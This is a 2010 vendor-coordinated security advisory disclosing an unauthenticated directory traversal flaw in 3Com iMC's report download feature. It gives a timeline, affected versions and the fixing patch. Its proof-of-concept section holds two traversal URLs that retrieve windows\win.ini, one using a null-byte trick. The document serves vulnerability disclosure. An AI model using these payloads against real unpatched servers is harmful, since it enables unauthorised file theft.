Vulnerabilities 2010

PR10-01 Unauthenticated File Retrieval (traversal) within 3Com* iMC (Intelligent Management Center)

• Advisory publicly released: Thursday, 20 May 2010
• Vulnerability found: Saturday, 30 January 2010
• Vendor informed: Monday, 1 February 2010
• Vendor response: Monday, 1 February 2010
• Vulnerability fixed: Thursday, 13 May 2010
• Severity level: Critical

• Credits
  Richard Brain of ProCheckUp Ltd (www.procheckup.com)
• Description
  3Com's iMC (Intelligent Management Centre) provides professional management of 3Com and third party network devices, the IMC is normally accessed using a web browser over port 8080.Procheckup has discovered that the IMC management console is vulnerable to a unauthenticated directory traversal attack within the reporting functionality.
  
  Note: tested on 3COM IMC running on Windows and Microsoft SQL 2005
  
  Version 3.3.9 R2 606 29 Sept 2009
  Version 3.3 SP1 R2 606 15 Dec 2009
• Proof of concept
  The following demonstrate the traversal flaw:
  
  1) Vulnerable to directory traversal
  
  
  http://target-domain.foo:8080/imc/report/DownloadReportSource?dirType=webapp&fileDir=reports&fileName=reportParaExample.xml..\..\..\..\..\..\..\..\..\..\windows\win.ini
  
  
  http://target-domain.foo:8080/imc/report/DownloadReportSource?dirType=webapp&fileDir=reports..\..\..\..\..\..\..\..\windows\win.ini%00reports&fileName=reportParaExample.xml
  
  Consequences:
  Directory traversal allows Files to be retrieved from the target server outside the webroot, provided that the location on the file system is known. No authentication is required to exploit this vulnerability.
• How to fix
  Ensure that at least patch 3.3SP2 (R2606P13) has been installed.
• References
  
  
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